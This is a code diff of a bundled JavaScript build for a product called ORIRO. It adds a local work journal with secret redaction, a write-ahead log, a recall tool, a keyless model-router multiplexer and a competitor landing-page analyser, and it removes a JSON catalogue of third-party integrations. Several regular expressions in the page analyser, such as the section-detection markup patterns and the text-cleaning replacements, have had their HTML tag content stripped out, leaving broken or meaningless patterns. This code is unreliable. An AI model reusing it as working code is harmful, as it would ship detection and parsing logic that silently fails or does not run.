`**Files:** ${rec.files.join(", ")} + +`; + md += field(rec.date, rec.ts, "Note", rec.note); + return `${md}--- +`; +} +function oneLineSummary(rec) { + const bits = []; + if (rec.user) bits.push(rec.user.replace(/\s+/g, " ").slice(0, 80)); + if (rec.files?.length) bits.push(`files: ${rec.files.slice(0, 3).join(", ")}`); + if (rec.note) bits.push(rec.note.replace(/\s+/g, " ").slice(0, 60)); + return bits.join(" \xB7 ") || "(activity)"; +} +function redactRecord(rec) { + const tally = /* @__PURE__ */ new Map(); + const rd = (s) => { + if (!s) return s; + const r = redact(s); + for (const x of r.redactions) tally.set(x.label, (tally.get(x.label) ?? 0) + x.count); + return r.text; + }; + const safeRec = { + ...rec, + user: rd(rec.user), + note: rd(rec.note), + router: rd(rec.router), + context: rd(rec.context), + files: rec.files?.map((f) => rd(f) ?? f) + }; + return { rec: safeRec, redactions: [...tally.entries()].map(([label, count]) => ({ label, count })) }; +} +function captureTurn(rec) { + const { rec: safeRec, redactions } = redactRecord(rec); + const journal = renderTurn(safeRec); + appendJournal(rec.date, `${journal} +`); + updateDigest(`${safeRec.ts} \xB7 ${oneLineSummary(safeRec)}`, safeRec.context); + updateTimeline(safeRec.date, oneLineSummary(safeRec)); + const auditClean = !containsSecret(readJournal(rec.date)) && !containsSecret(readDigest() ?? ""); + return { + journalDate: rec.date, + redactions, + bytes: Buffer.byteLength(journal, "utf8"), + auditClean + }; +} + +// src/scribe/health.ts +import { + closeSync as closeSync3, + fsyncSync as fsyncSync3, + mkdirSync as mkdirSync13, + openSync as openSync3, + readFileSync as readFileSync14, + writeFileSync as writeFileSync14, + writeSync as writeSync3 +} from "fs"; +import { join as join19 } from "path"; +function healthFile() { + return join19(scribeDir(), "_health.json"); +} +function faultLogFile() { + return join19(scribeDir(), "_faults.log"); +} +function read2() { + try { + return JSON.parse(readFileSync14(healthFile(), "utf8")); + } catch { + return { faultCount: 0 }; + } +} +function write(h) { + mkdirSync13(scribeDir(), { recursive: true }); + writeFileSync14(healthFile(), `${JSON.stringify(h, null, 2)} +`, "utf8"); +} +function recordHealth() { + const h = read2(); + h.lastWriteAt = (/* @__PURE__ */ new Date()).toISOString(); + write(h); +} +function recordFault(role, err) { + try { + mkdirSync13(scribeDir(), { recursive: true }); + const msg = `${(/* @__PURE__ */ new Date()).toISOString()} [${role}] ${err instanceof Error ? err.message : String(err)}`; + const fd = openSync3(faultLogFile(), "a"); + try { + writeSync3(fd, `${msg} +`); + fsyncSync3(fd); + } finally { + closeSync3(fd); } - }, - { - "slug": "zoom", - "name": "Zoom", - "category": "Communication", - "authType": "oauth", - "mcpUrl": "https://github.com/joinly-ai/joinly", - "description": "MCP server to interact with browser-based meeting platforms (Zoom, Teams, Google Meet). Enables AI agents to send bots to online meetings, gather live transcripts, speak text, and send messages in the meeting chat.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Zoom OAuth \u2014 no keys to paste.", - "docs": "https://developers.zoom.us/docs/api/" + const h = read2(); + h.faultCount = (h.faultCount ?? 0) + 1; + h.lastFault = msg; + write(h); + } catch { + } +} +function readHealth() { + return read2(); +} + +// src/scribe/wal.ts +import { + closeSync as closeSync4, + existsSync as existsSync10, + fsyncSync as fsyncSync4, + mkdirSync as mkdirSync14, + openSync as openSync4, + readFileSync as readFileSync15, + writeFileSync as writeFileSync15, + writeSync as writeSync4 +} from "fs"; +import { join as join20 } from "path"; +function walFile() { + return join20(scribeDir(), "_wal.jsonl"); +} +function appendLine(obj) { + mkdirSync14(scribeDir(), { recursive: true }); + const fd = openSync4(walFile(), "a"); + try { + writeSync4(fd, `${JSON.stringify(obj)} +`); + fsyncSync4(fd); + } finally { + closeSync4(fd); + } +} +function walAppend(id, rec) { + appendLine({ t: "add", id, rec }); +} +function walCommit(id) { + appendLine({ t: "commit", id }); +} +function walPending() { + if (!existsSync10(walFile())) return []; + const committed = /* @__PURE__ */ new Set(); + const adds = /* @__PURE__ */ new Map(); + for (const line of readFileSync15(walFile(), "utf8").split("\n")) { + if (!line.trim()) continue; + try { + const e = JSON.parse(line); + if (e.t === "commit") committed.add(e.id); + else if (e.t === "add" && e.rec) adds.set(e.id, e.rec); + } catch { + } + } + const out = []; + for (const [id, rec] of adds) { + if (!committed.has(id)) out.push({ id, rec }); + } + return out; +} +function walCompact() { + if (!existsSync10(walFile())) return; + const pending = walPending(); + const body = pending.map((p) => JSON.stringify({ t: "add", id: p.id, rec: p.rec })).join("\n"); + writeFileSync15(walFile(), body ? `${body} +` : "", "utf8"); +} + +// src/scribe/supervisor.ts +var draining = false; +function uid(ts) { + return `${ts}-${Math.random().toString(36).slice(2, 9)}`; +} +function drainBacklog() { + if (draining) return; + draining = true; + try { + let drained = 0; + for (const e of walPending()) { + try { + captureTurn(e.rec); + walCommit(e.id); + drained++; + } catch (err) { + recordFault("standby-replay", err); + break; + } } - }, - { - "slug": "twilio", - "name": "Twilio", - "category": "Communication", - "authType": "apikey", - "mcpUrl": "", - "description": "Twilio integration for ORIRO. (Communication category.)", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Twilio API Key", - "type": "password", - "help": "https://www.twilio.com/docs/usage/api" - } - ] + if (drained > 0) walCompact(); + } finally { + draining = false; + } +} +function supervisedCapture(rec) { + try { + drainBacklog(); + const id = uid(rec.ts); + const safe = redactRecord(rec).rec; + walAppend(id, safe); + try { + const res = captureTurn(safe); + walCommit(id); + walCompact(); + recordHealth(); + return res; + } catch (primaryErr) { + recordFault("primary", primaryErr); + try { + const res = captureTurn(safe); + walCommit(id); + walCompact(); + recordHealth(); + return res; + } catch (standbyErr) { + recordFault("standby", standbyErr); + return null; + } } - }, - { - "slug": "notion", - "name": "Notion", - "category": "Productivity", - "authType": "oauth", - "mcpUrl": "https://github.com/suekou/mcp-notion-server", - "description": "Interacting with Notion API", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Notion OAuth \u2014 no keys to paste.", - "docs": "https://developers.notion.com/" + } catch (fatal) { + recordFault("supervisor", fatal); + return null; + } +} + +// src/scribe/retrieval.ts +import { existsSync as existsSync11, readFileSync as readFileSync16, readdirSync } from "fs"; +function listDays() { + const dir = scribeDir(); + if (!existsSync11(dir)) return []; + return readdirSync(dir).filter((f) => /^\d{4}-\d{2}-\d{2}\.md$/.test(f)).map((f) => f.replace(/\.md$/, "")).sort(); +} +function readDay(date) { + const f = journalFile(date); + return existsSync11(f) ? readFileSync16(f, "utf8") : ""; +} +function searchScribe(query, limit = 100) { + const q = query.toLowerCase().trim(); + if (!q) return []; + const hits = []; + for (const date of listDays().reverse()) { + const lines = readDay(date).split("\n"); + for (let i = 0; i < lines.length; i++) { + const ln = lines[i]; + if (ln && ln.toLowerCase().includes(q)) { + hits.push({ date, line: i + 1, text: ln.trim().slice(0, 200) }); + if (hits.length >= limit) return hits; + } } - }, - { - "slug": "google-drive", - "name": "Google Drive", - "category": "Productivity", - "authType": "oauth", - "mcpUrl": "https://github.com/isaacphi/mcp-gdrive", - "description": "Model Context Protocol (MCP) Server for reading from Google Drive and editing Google Sheets.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Google Drive OAuth \u2014 no keys to paste.", - "docs": "https://developers.google.com/drive" + } + return hits; +} + +// src/scribe/scribe-pi.ts +function scribeTurn(input) { + if (!isScribeEnabled()) return; + const ts = (/* @__PURE__ */ new Date()).toISOString(); + supervisedCapture({ ts, date: ts.slice(0, 10), ...input }); +} +var pendingUserInput = ""; +function noteUserInput(text) { + pendingUserInput = text; +} +function takePendingUserInput() { + const u = pendingUserInput; + pendingUserInput = ""; + return u; +} +function buildScribeContext() { + if (!isScribeEnabled()) return ""; + const parts = []; + try { + const t = timelineFile(); + if (existsSync12(t)) parts.push(`# Work history \u2014 every day so far +${readFileSync17(t, "utf8").trim()}`); + } catch { + } + try { + const d = readDigest(); + if (d?.trim()) parts.push(`# Current context (recent) +${d.trim()}`); + } catch { + } + if (!parts.length) return ""; + return `${parts.join("\n\n")} + +(Call scribe_recall to fetch the full text of any past day or topic.)`; +} +function registerScribe(pi) { + pi.registerTool({ + name: "scribe_recall", + label: "ORIRO Scribe", + description: "Recall the user's past work from the on-device journal: search by keyword, or read a specific day (YYYY-MM-DD). Use to recover decisions, code, files, and context from earlier sessions.", + parameters: Type.Object({ + query: Type.Optional(Type.String({ description: "Keyword/topic to search across all journals." })), + day: Type.Optional(Type.String({ description: "A specific day YYYY-MM-DD to read in full." })) + }), + async execute(_id, params) { + let text; + const details = {}; + if (!isScribeEnabled()) { + text = "Scribe is off (the user has not enabled it)."; + } else if (params.day) { + text = readDay(params.day) || `No journal for ${params.day}. Days: ${listDays().join(", ") || "none"}`; + details.day = params.day; + } else { + const hits = params.query ? searchScribe(params.query) : []; + details.hits = hits; + text = hits.length ? hits.map((h) => `${h.date}:${h.line} ${h.text}`).join("\n") : `No matches${params.query ? ` for "${params.query}"` : ""}. Days recorded: ${listDays().join(", ") || "none"}`; + } + return { content: [{ type: "text", text }], details }; } - }, - { - "slug": "airtable", - "name": "Airtable", - "category": "Productivity", - "authType": "apikey", - "mcpUrl": "https://github.com/domdomegg/airtable-mcp-server", - "description": "Airtable database integration with schema inspection, read and write capabilities", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Airtable API Key", - "type": "password", - "help": "https://airtable.com/developers/web/api/introduction" + }); +} +function attachScribe(session) { + let user = ""; + let assistant = ""; + const tools = /* @__PURE__ */ new Set(); + session.subscribe((e) => { + if (!isScribeEnabled()) return; + if (e?.type === "user_message" || e?.type === "session_user_message") user = String(e.text ?? e.message ?? user); + if (e?.type === "message_update" && e.assistantMessageEvent?.type === "text_delta") assistant += e.assistantMessageEvent.delta ?? ""; + if ((e?.type === "tool_call" || e?.type === "tool_execution_start") && e.toolName) tools.add(String(e.toolName)); + if (e?.type === "agent_end") { + const userText = takePendingUserInput() || user; + scribeTurn({ user: userText || void 0, router: "oriro-free", tools: [...tools], note: assistant.slice(0, 4e3) || void 0 }); + user = ""; + assistant = ""; + tools.clear(); + } + }); +} + +// src/routers/mux-provider.ts +var MUX_PROVIDER = "oriro-mux"; +var MUX_MODEL = "oriro-free"; +function errToCallError(msg) { + const text = msg.errorMessage ?? ""; + return /\b429\b|rate.?limit|too many requests/i.test(text) ? { status: 429 } : {}; +} +function buildErrorMessage(message) { + return { + role: "assistant", + content: [], + api: "openai-completions", + provider: MUX_PROVIDER, + model: MUX_MODEL, + usage: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, totalTokens: 0, cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 } }, + stopReason: "error", + timestamp: Date.now(), + errorMessage: message + }; +} +async function driveMux(out, mux, byId, context, options) { + let lastError; + for (const id of mux.ranked()) { + const router = byId.get(id); + if (!router) continue; + const t0 = Date.now(); + let committed = false; + let lastPartial; + try { + const inner = piStreamSimple(routerModel(router), context, { + ...options ?? {}, + apiKey: router.apiKey + }); + let failedBeforeContent = false; + for await (const ev of inner) { + if (ev.type === "error") { + mux.recordFailure(id, errToCallError(ev.error)); + if (!committed) { + lastError = ev.error; + failedBeforeContent = true; + break; + } + out.push(ev); + out.end(ev.error); + return; } - ] + committed = true; + if (ev.type === "done") { + mux.recordSuccess(id, Date.now() - t0); + const clean = sanitizeMessageToolCalls(scrubMessageIdentity(ev.message)); + out.push({ type: "done", reason: ev.reason, message: clean }); + out.end(clean); + return; + } + lastPartial = ev.partial; + out.push(sanitizeEventToolCalls(ev)); + } + if (failedBeforeContent) continue; + if (!committed) { + mux.recordFailure(id, {}); + lastError ??= buildErrorMessage("Router returned no output."); + continue; + } + mux.recordSuccess(id, Date.now() - t0); + out.end(lastPartial ? sanitizeMessageToolCalls(scrubMessageIdentity(lastPartial)) : void 0); + return; + } catch (e) { + mux.recordFailure(id, e); } - }, - { - "slug": "confluence", - "name": "Confluence", - "category": "Productivity", - "authType": "oauth", - "mcpUrl": "https://github.com/sooperset/mcp-atlassian", - "description": "MCP server for Atlassian products (Confluence and Jira). Supports Confluence Cloud, Jira Cloud, and Jira Server/Data Center. Provides comprehensive tools for searching, reading, creating, and managing content across Atlassian workspaces.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Confluence OAuth \u2014 no keys to paste.", - "docs": "https://developer.atlassian.com/cloud/confluence/" + } + const msg = lastError ?? buildErrorMessage( + "All keyless routers are unavailable. Add a BYOK key, select more free routers, or retry shortly." + ); + out.push({ type: "error", reason: "error", error: msg }); + out.end(msg); +} +function registerOriroMux(registry, opts = {}) { + registerOpenAICompletions(); + const pooled = resolvePool(); + const routers = opts.routers ?? (pooled.length > 0 ? pooled : KEYLESS_FLOOR); + const byId = new Map(routers.map((r) => [r.id, r])); + const mux = new RouterMux(routers.map((r) => r.id)); + try { + mux.load(loadMuxState(oriroDir())); + } catch { + } + registry.registerProvider(MUX_PROVIDER, { + name: "ORIRO Free (keyless Mux)", + api: "openai-completions", + apiKey: "oriro-keyless", + // Placeholder — required by registry validation but never used: our custom streamSimple + // routes to the real keyless floor endpoints itself (see driveMux). + baseUrl: "http://oriro-mux.local", + models: [ + { + id: MUX_MODEL, + name: "ORIRO Free (best-router)", + api: "openai-completions", + baseUrl: "http://oriro-mux.local", + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 128e3, + maxTokens: 4096 + } + ], + streamSimple: (_model, context, options) => { + const out = createAssistantMessageEventStream(); + const ctx = applyIdentity(context); + const memory = buildScribeContext(); + const withMemory = memory ? { ...ctx, systemPrompt: `${ctx.systemPrompt} + +${memory}` } : ctx; + void driveMux(out, mux, byId, withMemory, options).finally(() => { + try { + saveMuxState(oriroDir(), mux.snapshot()); + } catch { + } + }); + return out; } - }, + }); + return registry.find(MUX_PROVIDER, MUX_MODEL); +} + +// src/head/pi-tool.ts +import { Type as Type2 } from "typebox"; + +// src/head/comparison-engine.ts +var SECTION_RULES = [ { - "slug": "google-calendar", - "name": "Google Calendar", - "category": "Productivity", - "authType": "oauth", - "mcpUrl": "https://github.com/takumi0706/google-calendar-mcp", - "description": "An MCP server to interface with the Google Calendar API. Based on TypeScript.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Google Calendar OAuth \u2014 no keys to paste.", - "docs": "https://developers.google.com/calendar" - } + type: "hero", + label: "Hero", + priority: "CRITICAL", + markup: [/]/], + recommend: "Add a clear above-the-fold hero \u2014 one headline that states the value + one primary CTA." }, { - "slug": "microsoft-365", - "name": "Microsoft 365", - "category": "Productivity", - "authType": "oauth", - "mcpUrl": "", - "description": "Microsoft 365 is the productivity suite \u2014 Outlook, Teams, SharePoint, OneDrive. ORIRO connects via the Microsoft Graph API for mail, calendar, files, and collaboration.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Microsoft 365 OAuth \u2014 no keys to paste.", - "docs": "https://learn.microsoft.com/graph/" - } + type: "navigation", + label: "Navigation", + priority: "CRITICAL", + markup: [/]/, /role=["']navigation["']/], + recommend: "Add a top navigation so visitors can reach key sections." }, { - "slug": "figma", - "name": "Figma", - "category": "Design", - "authType": "token", - "mcpUrl": "https://github.com/GLips/Figma-Context-MCP", - "description": "Provide coding agents direct access to Figma data to help them one-shot design implementation.", - "configSchema": { - "auth": "token", - "fields": [ - { - "key": "access_token", - "label": "Figma Access Token", - "type": "password", - "help": "https://www.figma.com/developers/api" - } - ] - } + type: "features", + label: "Features", + priority: "CRITICAL", + text: [/\bfeatures?\b/, /\bwhat you (?:can|get)\b/, /\bcapabilit/], + recommend: "Add a features section that spells out concrete capabilities, not adjectives." }, { - "slug": "canva", - "name": "Canva", - "category": "Design", - "authType": "oauth", - "mcpUrl": "", - "description": "Canva integration for ORIRO. (Design category.)", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Canva OAuth \u2014 no keys to paste.", - "docs": "https://www.canva.dev/docs/connect/" - } + type: "pricing", + label: "Pricing", + priority: "CRITICAL", + text: [/\bpricing\b/, /\bper month\b/, /\b\/mo\b/, /\bfree plan\b/, /\$\d/, /₹\d/, /€\d/], + recommend: 'Add transparent pricing \u2014 a critical conversion element; even a single "Free" tier helps.' }, { - "slug": "adobe", - "name": "Adobe", - "category": "Design", - "authType": "oauth", - "mcpUrl": "", - "description": "Adobe Analytics is an enterprise web/marketing analytics platform. Its official MCP server exposes reporting and segment tools.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Adobe OAuth \u2014 no keys to paste.", - "docs": "https://developer.adobe.com/" - } + type: "cta", + label: "Call-to-Action", + priority: "CRITICAL", + text: [/\bget started\b/, /\bsign up\b/, /\bstart (?:free|now|building)\b/, /\btry (?:it|now|free)\b/, /\bbook a demo\b/, /\bget a demo\b/], + recommend: 'Add a strong, repeated primary CTA ("Get started") so the next step is obvious.' }, { - "slug": "google-analytics", - "name": "Google Analytics", - "category": "Data and Analytics", - "authType": "oauth", - "mcpUrl": "https://github.com/googleanalytics/google-analytics-mcp", - "description": "Google Analytics (GA4) is the standard web analytics platform. Its official MCP server provides read-only reporting tools, authenticated via Google Application Default Credentials.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Google Analytics OAuth \u2014 no keys to paste.", - "docs": "https://developers.google.com/analytics" - } + type: "testimonials", + label: "Testimonials", + priority: "HIGH", + text: [/\btestimonial/, /\bwhat (?:our )?(?:customers|users) say\b/, /\bloved by\b/, /\breview(?:s|ed)\b/], + recommend: "Add 2\u20133 customer testimonials with names/photos to build trust." }, { - "slug": "mixpanel", - "name": "Mixpanel", - "category": "Data and Analytics", - "authType": "apikey", - "mcpUrl": "https://docs.mixpanel.com/docs/mcp", - "description": "Mixpanel is a product-analytics platform. Its official hosted MCP server (2026) answers natural-language questions about events, funnels, flows, retention, and session replays.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Mixpanel API Key", - "type": "password", - "help": "https://developer.mixpanel.com/" - } - ] - } + type: "stats", + label: "Stats / Metrics", + priority: "HIGH", + text: [/\b\d[\d,.]*\s*[kkmm]\+?\s*(?:users|customers|developers|downloads|teams)\b/, /\b9\d(?:\.\d+)?%\b/, /\buptime\b/], + recommend: 'Add impressive metrics ("10K+ users", "99.9% uptime") as social proof.' }, { - "slug": "amplitude", - "name": "Amplitude", - "category": "Data and Analytics", - "authType": "apikey", - "mcpUrl": "", - "description": "Amplitude is a digital-analytics platform. Its official MCP server covers analytics, session replays, feature flags, and web vitals.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Amplitude API Key", - "type": "password", - "help": "https://www.docs.developers.amplitude.com/" - } - ] - } + type: "video", + label: "Video", + priority: "HIGH", + markup: [/]/, /youtube\.com\/embed/, /player\.vimeo\.com/, /]+(?:youtube|vimeo)/], + text: [/\bwatch the (?:video|demo)\b/], + recommend: "Add a short explainer/demo video \u2014 it lifts conversion on landing pages." }, { - "slug": "segment", - "name": "Segment", - "category": "Data and Analytics", - "authType": "apikey", - "mcpUrl": "", - "description": "Segment is a customer-data platform. ORIRO connects via its REST + Connections API to route and manage event and customer data across tools.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Segment API Key", - "type": "password", - "help": "https://segment.com/docs/" - } - ] - } + type: "demo", + label: "Live Demo", + priority: "HIGH", + text: [/\btry it (?:now|live|free)\b/, /\bplayground\b/, /\binteractive demo\b/, /\blive demo\b/], + recommend: 'Add a "try it" live demo or playground so visitors experience the product immediately.' }, { - "slug": "snowflake", - "name": "Snowflake", - "category": "Data and Analytics", - "authType": "apikey", - "mcpUrl": "https://github.com/Snowflake-Labs/mcp", - "description": "Open-source MCP server for Snowflake from official Snowflake-Labs supports prompting Cortex Agents, querying structured & unstructured data, object management, SQL execution, semantic view querying, and more. RBAC, fine-grained CRUD controls, and all authentication methods supported.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Snowflake API Key", - "type": "password", - "help": "https://docs.snowflake.com/" - } - ] - } + type: "socialProof", + label: "Social Proof", + priority: "HIGH", + text: [/\btrusted by\b/, /\bbacked by\b/, /\bused by\b/, /\bas seen (?:in|on)\b/, /\bcustomers include\b/], + recommend: 'Add social proof (customer/investor logos, "trusted by \u2026") near the hero.' }, { - "slug": "bigquery", - "name": "BigQuery", - "category": "Data and Analytics", - "authType": "apikey", - "mcpUrl": "https://github.com/ergut/mcp-bigquery-server", - "description": "Server implementation for Google BigQuery integration that enables direct BigQuery database access and querying capabilities", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "BigQuery API Key", - "type": "password", - "help": "https://cloud.google.com/bigquery/docs" - } - ] - } + type: "faq", + label: "FAQ", + priority: "MEDIUM", + text: [/\bfaq\b/, /\bfrequently asked\b/], + markup: [/]/], + recommend: "Add an FAQ that answers the top objections before they become exits." }, { - "slug": "supabase", - "name": "Supabase", - "category": "Data and Analytics", - "authType": "apikey", - "mcpUrl": "https://github.com/supabase-community/supabase-mcp", - "description": "Official Supabase MCP server to connect AI assistants directly with your Supabase project and allows them to perform tasks like managing tables, fetching config, and querying data.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Supabase API Key", - "type": "password", - "help": "https://supabase.com/docs" - } - ] - } + type: "integrations", + label: "Integrations", + priority: "MEDIUM", + text: [/\bintegrations?\b/, /\bworks with\b/, /\bconnect your\b/], + recommend: "Add an integrations section showing what the product connects to." }, { - "slug": "mongodb-atlas", - "name": "MongoDB Atlas", - "category": "Data and Analytics", - "authType": "apikey", - "mcpUrl": "https://github.com/furey/mongodb-lens", - "description": "MongoDB Lens: Full Featured MCP Server for MongoDB Databases", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "MongoDB Atlas API Key", - "type": "password", - "help": "https://www.mongodb.com/docs/atlas/" - } - ] - } + type: "newsletter", + label: "Newsletter / Capture", + priority: "MEDIUM", + text: [/\bsubscribe\b/, /\bnewsletter\b/, /\bjoin (?:the )?waitlist\b/], + markup: [/type=["']email["']/], + recommend: "Add an email capture (newsletter/waitlist) so non-converting visitors are not lost." }, { - "slug": "planetscale", - "name": "PlanetScale", - "category": "Data and Analytics", - "authType": "apikey", - "mcpUrl": "https://github.com/planetscale/cli", - "description": "The CLI for PlanetScale Database.", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "PlanetScale API Key", - "type": "password", - "help": "https://planetscale.com/docs" - } - ] - } + type: "comparison", + label: "Comparison", + priority: "MEDIUM", + text: [/\bcompare\b/, /\bcomparison\b/, /\b vs\.? \b/, /\bwhy choose\b/], + recommend: 'Add a comparison ("us vs alternatives") to win evaluators who are shopping around.' }, { - "slug": "stripe", - "name": "Stripe", - "category": "Finance", - "authType": "apikey", - "mcpUrl": "", - "description": "Stripe integration for ORIRO. (Finance category.)", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Stripe API Key", - "type": "password", - "help": "https://stripe.com/docs/api" + type: "team", + label: "Team / About", + priority: "LOW", + text: [/\bour team\b/, /\bmeet the team\b/, /\bfounders?\b/, /\babout us\b/], + recommend: "Add a brief team/about section to humanize the brand." + } +]; +var PRIORITY_RANK = { CRITICAL: 0, HIGH: 1, MEDIUM: 2, LOW: 3 }; +var PRIORITY_EFFORT = { CRITICAL: "L", HIGH: "M", MEDIUM: "M", LOW: "S" }; +var FETCH_TIMEOUT_MS = 12e3; +var UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36 ORIRO-Inspector"; +async function fetchPage(url) { + const controller = new AbortController(); + const timer = setTimeout(() => controller.abort(), FETCH_TIMEOUT_MS); + const start = Date.now(); + try { + const res = await fetch(url, { + signal: controller.signal, + redirect: "follow", + headers: { "user-agent": UA, accept: "text/html,application/xhtml+xml" } + }); + const html = await res.text(); + return { html, ms: Date.now() - start, status: res.status, ok: res.ok, error: "" }; + } catch (err) { + return { html: "", ms: Date.now() - start, status: 0, ok: false, error: err instanceof Error ? err.message : "fetch failed" }; + } finally { + clearTimeout(timer); + } +} +function toText(html) { + return html.replace(//gi, " ").replace(//gi, " ").replace(/<[^>]+>/g, " ").replace(/ /gi, " ").replace(/\s+/g, " ").toLowerCase().trim(); +} +function firstMatch(re, hay) { + const m = re.exec(hay); + if (!m) return ""; + const slice = (m[0] ?? "").trim(); + return slice.length > 80 ? `${slice.slice(0, 77)}\u2026` : slice; +} +function detectSections(rawHtmlLower, text) { + const found = []; + for (const rule of SECTION_RULES) { + let evidence = ""; + for (const re of rule.markup ?? []) { + const hit = firstMatch(re, rawHtmlLower); + if (hit) { + evidence = hit; + break; + } + } + if (!evidence) { + for (const re of rule.text ?? []) { + const hit = firstMatch(re, text); + if (hit) { + evidence = hit; + break; } - ] + } } - }, - { - "slug": "quickbooks", - "name": "QuickBooks", - "category": "Finance", - "authType": "oauth", - "mcpUrl": "", - "description": "QuickBooks integration for ORIRO. (Finance category.)", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via QuickBooks OAuth \u2014 no keys to paste.", - "docs": "https://developer.intuit.com/" + if (evidence) found.push({ type: rule.type, label: rule.label, priority: rule.priority, evidence }); + } + return found; +} +function extractMatches(re, html, max) { + const out = []; + for (const m of html.matchAll(re)) { + const inner = (m[1] ?? "").replace(/<[^>]+>/g, " ").replace(/\s+/g, " ").trim(); + if (inner && !out.includes(inner)) out.push(inner); + if (out.length >= max) break; + } + return out; +} +var CTA_WORDS = /\b(get started|sign up|start free|start now|start building|try (?:it|now|free)|book a demo|get a demo|request access|join (?:the )?waitlist|download)\b/i; +function extractStructure(url, fr) { + const html = fr.html; + const lowerHtml = html.toLowerCase(); + const text = toText(html); + const titleM = /]*>([\s\S]*?)<\/title>/i.exec(html); + const title = (titleM?.[1] ?? "").replace(/\s+/g, " ").trim(); + const descM = /]+name=["']description["'][^>]+content=["']([^"']*)["']/i.exec(html) ?? /]+content=["']([^"']*)["'][^>]+name=["']description["']/i.exec(html); + const description = (descM?.[1] ?? "").replace(/\s+/g, " ").trim(); + const headings = extractMatches(/]*>([\s\S]*?)<\/h[1-3]>/gi, html, 12); + const ctaAll = extractMatches(/<(?:a|button)[^>]*>([\s\S]*?)<\/(?:a|button)>/gi, html, 80); + const ctas = []; + for (const c of ctaAll) { + if (CTA_WORDS.test(c) && !ctas.includes(c)) ctas.push(c); + if (ctas.length >= 10) break; + } + const forms = (lowerHtml.match(/]/g) ?? []).length; + const links = (lowerHtml.match(/]/g) ?? []).length; + const images = (lowerHtml.match(/]/g) ?? []).length; + const hasVideo = /]/.test(lowerHtml) || /(?:youtube\.com\/embed|player\.vimeo\.com)/.test(lowerHtml); + const domNodes = (html.match(/<[a-z!\/]/gi) ?? []).length; + let note = ""; + if (fr.ok && text.length < 400 && domNodes < 60) { + note = "Sparse HTML \u2014 likely a client-rendered (SPA) page; structure may be under-detected without a JS render."; + } + return { + url, + title, + description, + sections: detectSections(lowerHtml, text), + headings, + ctas, + forms, + links, + images, + hasVideo, + metrics: { htmlBytes: html.length, domNodes, fetchMs: fr.ms, status: fr.status }, + ok: fr.ok && html.length > 0, + note: fr.ok ? note : `Could not load: ${fr.error || `HTTP ${fr.status}`}` + }; +} +function ruleFor(type) { + return SECTION_RULES.find((r) => r.type === type) ?? SECTION_RULES[0]; +} +function analyzeGaps(target, competitors) { + const targetTypes = new Set(target.sections.map((s) => s.type)); + const compPresence = /* @__PURE__ */ new Map(); + for (const comp of competitors) { + if (!comp.ok) continue; + for (const s of comp.sections) { + const list = compPresence.get(s.type) ?? []; + if (!list.includes(comp.url)) list.push(comp.url); + compPresence.set(s.type, list); } - }, - { - "slug": "xero", - "name": "Xero", - "category": "Finance", - "authType": "oauth", - "mcpUrl": "https://github.com/XeroAPI/xero-mcp-server", - "description": "An MCP server that integrates with Xero's API, allowing for standardized access to Xero's accounting and business features.", - "configSchema": { - "auth": "oauth", - "fields": [], - "note": "Authorize via Xero OAuth \u2014 no keys to paste.", - "docs": "https://developer.xero.com/" + } + const missing = []; + const parity = []; + for (const [type, presentOn] of compPresence) { + if (targetTypes.has(type)) { + parity.push(type); + } else { + const rule = ruleFor(type); + missing.push({ section: type, label: rule.label, priority: rule.priority, presentOn, recommendation: rule.recommend }); } - }, - { - "slug": "plaid", - "name": "Plaid", - "category": "Finance", - "authType": "apikey", - "mcpUrl": "", - "description": "Plaid connects apps to users' bank accounts. ORIRO connects via its REST API for balances, transactions, and identity (financial data connectivity).", - "configSchema": { - "auth": "apikey", - "fields": [ - { - "key": "api_key", - "label": "Plaid API Key", - "type": "password", - "help": "https://plaid.com/docs/api/" - } - ] + } + missing.sort((a, b) => PRIORITY_RANK[a.priority] - PRIORITY_RANK[b.priority] || b.presentOn.length - a.presentOn.length); + const advantages = target.sections.filter((s) => !compPresence.has(s.type)); + return { missing, advantages, parity }; +} +function generateActionItems(missing) { + return missing.map((g) => ({ + title: `Add a ${g.label} section`, + priority: g.priority, + effort: PRIORITY_EFFORT[g.priority], + rationale: `${g.presentOn.length} of the compared page(s) have it; you don't. ${g.recommendation}` + })); +} +function hostOf(url) { + try { + return new URL(url).host.replace(/^www\./, ""); + } catch { + return url; + } +} +function generateSummary(target, competitors, gaps) { + const okComps = competitors.filter((c) => c.ok); + const tName = hostOf(target.url); + if (!target.ok) return `Could not load ${tName} (${target.note}). Nothing to compare against yet.`; + if (okComps.length === 0) return `Loaded ${tName} (${target.sections.length} sections) but none of the comparison URLs could be loaded.`; + const crit = gaps.missing.filter((m) => m.priority === "CRITICAL").map((m) => m.label); + const high = 